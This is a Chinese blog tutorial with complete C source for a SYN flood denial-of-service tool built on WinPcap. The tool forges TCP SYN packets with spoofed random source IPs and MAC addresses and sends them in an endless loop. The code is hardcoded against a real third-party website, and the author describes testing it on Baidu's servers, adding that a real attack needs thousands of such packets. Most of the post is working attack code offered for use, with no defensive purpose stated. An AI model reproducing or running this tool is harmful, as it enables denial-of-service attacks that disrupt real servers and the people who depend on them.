<span style="font-family: Arial, Helvetica, sans-serif; background-color: rgb(255, 255, 255);">网上这样的帖子很多,但有几个问题一直没解决。</span>
1、在计算TCP报头的校验和时应该还有伪报头,很多人都没有。
2、在封装以太网数据包时需要用到目的地址的mac地址,由于很多人是在虚拟机上测,目的mac也就知道,但事实上,对于真正的远端主机来说,我们只能获取它的IP地址,而mac地址是无法获取的。而事实上,这儿的目标mac应该写的是网关mac地址。
下面看我一步一步写syn攻击。
一、首先要清楚TCP/IP报头,清楚三次握手,这个别的地方将的很多。而syn flood攻击就是向服务器发送大量的syn请求包,让服务器保持这些连接而拒绝其他正常连接请求。
/* IP报文格式 0 8 16 32 +------------+------------+-------------------------+ | ver + hlen | 服务类型 | 总长度 | +------------+------------+----+--------------------+ | 标识位 |flag| 分片偏移(13位) | +------------+------------+----+--------------------+ | 生存时间 | 高层协议号 | 首部校验和 | +------------+------------+-------------------------+ | 源 IP 地址 | +---------------------------------------------------+ | 目的 IP 地址 | +---------------------------------------------------+ */ struct IP_HEADER { byte versionAndHeader; byte serviceType; byte totalLen[2]; byte seqNumber[2]; byte flagAndFragPart[2]; byte ttl; byte hiProtovolType; byte headerCheckSum[2]; byte srcIpAddr[4]; byte dstIpAddr[4]; }; /* TCP 报文 0 16 32 +------------------------+-------------------------+ | 源端口地址 | 目的端口地址 | +------------------------+-------------------------+ | 序列号 | +--------------------------------------------------+ | 确认号 | +------+--------+--------+-------------------------+ |HLEN/4| 保留位 |控制位/6| 窗口尺寸 | +------+--------+--------+-------------------------+ | 校验和 | 应急指针 | +------------------------+-------------------------+ */ struct TCP_HEADER { byte srcPort[2]; byte dstPort[2]; byte seqNumber[4]; byte ackNumber[4]; byte headLen; byte contrl; byte wndSize[2]; byte checkSum[2]; byte uragentPtr[2]; };
struct PSDTCP_HEADER //这是TCP的伪报头,在计算TCP的校验和时需要包含 { byte srcIpAddr[4]; //Source IP address; 32 bits byte dstIpAddr[4]; //Destination IP address; 32 bits byte padding; //padding byte protocol; //Protocol; 8 bits byte tcpLen[2]; //TCP length; 16 bits } ; struct ETHERNET_HEADER //以太网帧头 { byte dstMacAddr[6]; byte srcMacAddr[6]; byte ethernetType[2]; };
我还是直接贴代码吧
#include <stdio.h> #include <stdlib.h> #include <pcap.h> #include <winsock2.h> #include <conio.h> #include <iostream> #include <packet32.h> #include <ntddndis.h> #include <time.h> #include <string> #include <vector> using namespace std; #pragma comment(lib, "../common/lib/Packet.lib") #pragma comment(lib, "../common/lib/wpcap.lib") #pragma comment(lib, "ws2_32.lib") /* IP报文格式 0 8 16 32 +------------+------------+-------------------------+ | ver + hlen | 服务类型 | 总长度 | +------------+------------+----+--------------------+ | 标识位 |flag| 分片偏移(13位) | +------------+------------+----+--------------------+ | 生存时间 | 高层协议号 | 首部校验和 | +------------+------------+-------------------------+ | 源 IP 地址 | +---------------------------------------------------+ | 目的 IP 地址 | +---------------------------------------------------+ */ struct IP_HEADER { byte versionAndHeader; byte serviceType; byte totalLen[2]; byte seqNumber[2]; byte flagAndFragPart[2]; byte ttl; byte hiProtovolType; byte headerCheckSum[2]; byte srcIpAddr[4]; byte dstIpAddr[4]; }; /* TCP 报文 0 16 32 +------------------------+-------------------------+ | 源端口地址 | 目的端口地址 | +------------------------+-------------------------+ | 序列号 | +--------------------------------------------------+ | 确认号 | +------+--------+--------+-------------------------+ |HLEN/4| 保留位 |控制位/6| 窗口尺寸 | +------+--------+--------+-------------------------+ | 校验和 | 应急指针 | +------------------------+-------------------------+ */ struct TCP_HEADER { byte srcPort[2]; byte dstPort[2]; byte seqNumber[4]; byte ackNumber[4]; byte headLen; byte contrl; byte wndSize[2]; byte checkSum[2]; byte uragentPtr[2]; }; struct PSDTCP_HEADER { byte srcIpAddr[4]; //Source IP address; 32 bits byte dstIpAddr[4]; //Destination IP address; 32 bits byte padding; //padding byte protocol; //Protocol; 8 bits byte tcpLen[2]; //TCP length; 16 bits } ; struct ETHERNET_HEADER { byte dstMacAddr[6]; byte srcMacAddr[6]; byte ethernetType[2]; }; struct DEVS_INFO { char szDevName[512]; char szDevsDescription[512]; }; int GetAllDevs( DEVS_INFO devsList[] ) { int nDevsNum = 0; pcap_if_t *alldevs; char errbuf[PCAP_ERRBUF_SIZE]; if ( pcap_findalldevs(&alldevs,errbuf) == -1 ) { return -1; printf("error in pcap_findalldevs_ex: %s\n",errbuf); } for ( pcap_if_t *d = alldevs; d != NULL; d = d->next ) { strcpy( devsList[nDevsNum].szDevName, d->name ); strcpy( devsList[nDevsNum].szDevsDescription, d->description ); nDevsNum++; } pcap_freealldevs(alldevs); return nDevsNum; } int GetAdapterMacAddr( char *lpszAdapterName, unsigned char ucMacAddr[] ) { LPADAPTER lpAdapter = PacketOpenAdapter( lpszAdapterName ); if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE)) { return -1; } PPACKET_OID_DATA oidData = ( PPACKET_OID_DATA )malloc(6 + sizeof(PACKET_OID_DATA)); if ( NULL == oidData ) { PacketCloseAdapter(lpAdapter); return -1; } oidData->Oid = OID_802_3_CURRENT_ADDRESS; oidData->Length = 6; memset(oidData->Data, 0, 6 ); BOOLEAN bStatus = PacketRequest(lpAdapter, FALSE, oidData); if ( bStatus ) { for ( int i = 0; i < 6; ++i ) { ucMacAddr[i] = (oidData->Data)[i]; } } else { return -1; free( oidData ); } free( oidData ); PacketCloseAdapter( lpAdapter ); return 0; } int GetIpByHost(const char *lpszHost, std::vector<std::string> &ipList ) { WSADATA wsadata; WSAStartup(MAKEWORD(2, 2),&wsadata); hostent *phost=gethostbyname( lpszHost ); in_addr addr; char *p = phost->h_addr_list[0]; for(int i = 1; NULL != p; i++) { memcpy(&addr.S_un.S_addr, p, phost->h_length); ipList.push_back( inet_ntoa( addr )); p = phost->h_addr_list[i]; } return 0; } int GetGatewayMacAddr( byte macAddr[] ) { byte mac[] = {0x00, 0x00, 0x5e, 0x00, 0x01, 0x48}; //00-00-5e-00-01-48 memcpy( macAddr, mac, 6 ); return 0; } unsigned short CheckSum(unsigned short packet[], int size ) { unsigned long cksum = 0; while (size > 1) { cksum += *packet++; size -= sizeof(USHORT); } if (size) { cksum += *(UCHAR*)packet; } cksum = (cksum >> 16) + (cksum & 0xFFFF); cksum += (cksum >>16); return (USHORT)(~cksum); } int EncodeSynPacket( byte packet[], const char *lpszSrcIpAddr, const char *lpszDstIpAddr, byte srcMacAddr[]) { TCP_HEADER tcpHeader; memset(&tcpHeader, 0, sizeof tcpHeader ); *(unsigned short *)tcpHeader.srcPort = htons(9999); *(unsigned short *)tcpHeader.dstPort = htons(80); *(unsigned int *)tcpHeader.seqNumber = htonl(0xFFFF); *(unsigned int *)tcpHeader.ackNumber = htonl(0x00); tcpHeader.headLen = 5 << 4; tcpHeader.contrl = 1 << 1; *(unsigned short *)tcpHeader.wndSize = htons(0xFFFF); IP_HEADER ipHeader; memset( &ipHeader, 0, sizeof ipHeader ); unsigned char versionAndLen = 0x04; versionAndLen <<= 4; versionAndLen |= sizeof ipHeader / 4; //版本 + 头长度 ipHeader.versionAndHeader = versionAndLen; *(unsigned short *)ipHeader.totalLen = htons( sizeof(IP_HEADER) + sizeof(TCP_HEADER) ); ipHeader.ttl = 0xFF; ipHeader.hiProtovolType = 0x06; *(unsigned int *)(ipHeader.srcIpAddr) = inet_addr(lpszSrcIpAddr); *(unsigned int *)(ipHeader.dstIpAddr) = inet_addr(lpszDstIpAddr); //*(unsigned short *)(ipHeader.headerCheckSum) = CheckSum( (unsigned short *)&ipHeader, sizeof ipHeader ); byte gatewayMac[] = {0x00, 0x00, 0x5e, 0x00, 0x01, 0x48}; ETHERNET_HEADER ethHeader; memset(ðHeader, 0, sizeof ethHeader); memcpy(ethHeader.dstMacAddr, gatewayMac, 6); memcpy(ethHeader.srcMacAddr, srcMacAddr, 6); *(unsigned short *)ethHeader.ethernetType = htons(0x0800); //memset(packet, 0, sizeof packet); memcpy(packet, ðHeader, sizeof ethHeader); memcpy(packet + sizeof ethHeader, &ipHeader, sizeof ipHeader); memcpy(packet + sizeof ethHeader + sizeof ipHeader, &tcpHeader, sizeof tcpHeader); return (sizeof ethHeader + sizeof ipHeader + sizeof tcpHeader); } int main() { system("mode con cols=110 lines=20"); DEVS_INFO devsList[64]; int nDevsNum = GetAllDevs( devsList ); if ( nDevsNum < 1 ) { printf("Get adapter infomation failed!"); exit(0); } for ( int i = 0; i < nDevsNum; ++i ) { printf("%d %s\t%s\n", i+1, devsList[i].szDevName, devsList[i].szDevsDescription ); } printf("Input your select adapter index: "); int selIndex = 0; scanf("%d", &selIndex); if ( selIndex < 0 || selIndex > nDevsNum+1 ) { printf("Out of range!\nPress any key to exit..."); getch(); return 0; } char szError[PCAP_ERRBUF_SIZE]; pcap_t *handle = pcap_open_live(devsList[selIndex-1].szDevName, 65536, 1, 1000, szError ); if ( NULL == handle ) { printf("Open adapter failed!\nPress any key to exit..."); getch(); return 0; } byte localMacAddr[6]; memset(localMacAddr, 0, sizeof localMacAddr); if ( 0 != GetAdapterMacAddr(devsList[selIndex-1].szDevName, localMacAddr) ) { printf("Get localhost mac addr failed!\nPress any key to exit..."); getch(); return 0; } std::vector<std::string> ipList; GetIpByHost("www.szbike.com", ipList); byte packet[1024]; int size = EncodeSynPacket( packet, "0.0.0.0", ipList[0].c_str(), localMacAddr); //return 0; ETHERNET_HEADER *pEtherentHeader = (ETHERNET_HEADER *)packet; IP_HEADER *pIpHeader = ( IP_HEADER *)(packet + sizeof(ETHERNET_HEADER)); TCP_HEADER *pTcpHeader = ( TCP_HEADER *)(packet + sizeof(ETHERNET_HEADER) + sizeof(IP_HEADER)); //*srand(time(0)); unsigned short srcPort = 0;//= rand() %0xFFFFFFFF; unsigned int srcIpAddr = 0; unsigned int baseIpAddr = ntohl(inet_addr("10.126.0.0")); byte psdPacket[128]; memset(psdPacket, 0x00, sizeof psdPacket ); PSDTCP_HEADER *psdHeader = (PSDTCP_HEADER *)psdPacket; *(unsigned int *)(psdHeader->dstIpAddr) = inet_addr(ipList[0].c_str()); *(unsigned short *)(psdHeader->tcpLen) = htons(sizeof(TCP_HEADER)); psdHeader->protocol = 0x06; psdHeader->padding = 0x00; memcpy( psdPacket + sizeof(PSDTCP_HEADER), pTcpHeader, sizeof(TCP_HEADER)); unsigned int seq = 0; srand( time(0) ); while ( 1 ) { for ( int i = 0; i < 6; ++i ) { pEtherentHeader->srcMacAddr[i] = (byte)(rand() % (0xFF+1) ); } seq = rand() % 0xFFFFFF; srcPort = rand() % 0xFFFF; srcIpAddr = baseIpAddr + rand() % 0xFFFF; *(unsigned int *)(pIpHeader->srcIpAddr) = htonl(srcIpAddr); *(unsigned short *)(pIpHeader->headerCheckSum) = 0x0000; *(unsigned short *)(pIpHeader->headerCheckSum) = CheckSum( ( unsigned short * )pIpHeader, sizeof (IP_HEADER)); *(unsigned int *)(psdHeader->srcIpAddr) = htonl(srcIpAddr); *(unsigned int *)(psdHeader->srcIpAddr) = htonl(srcIpAddr); TCP_HEADER *psdTcpHeader = (TCP_HEADER *)(psdPacket + sizeof(PSDTCP_HEADER) ); *(unsigned int *)(psdTcpHeader->seqNumber) = htonl(seq); *(unsigned int *)(pTcpHeader->seqNumber) = htonl(seq);//htonl(rand() % 0xFFFFFF ); *(unsigned short *)(pTcpHeader->srcPort) = htons(srcPort); *(unsigned short *)(psdTcpHeader->srcPort) = htons(srcPort); *(unsigned short *)(pTcpHeader->checkSum) = 0x0000; *(unsigned short *)(pTcpHeader->checkSum) = CheckSum( (unsigned short *)psdPacket, sizeof(PSDTCP_HEADER) + sizeof(TCP_HEADER) ); //system("pause"); Sleep(0); pcap_sendpacket(handle, packet, size ); } if ( NULL == handle ) { printf("\nUnable to open the adapter. %s is not supported by WinPcap\n"); return 0; } pcap_close(handle); return 0; }
这是对www.baidu.com的测试,可以看到,发出之后百度返回了syn+ack,这时如果我们不再继续,百度的服务器就会等一段时间,这就实现了一次攻击,当然了,真正的攻击需要成千上万个这样的数据包。
在测试的时候有时候收到syn+ack后,系统会自动发一个rest,开启windows防火墙可避免这种情况。
版权声明:本文为博主原创文章,未经博主允许不得转载。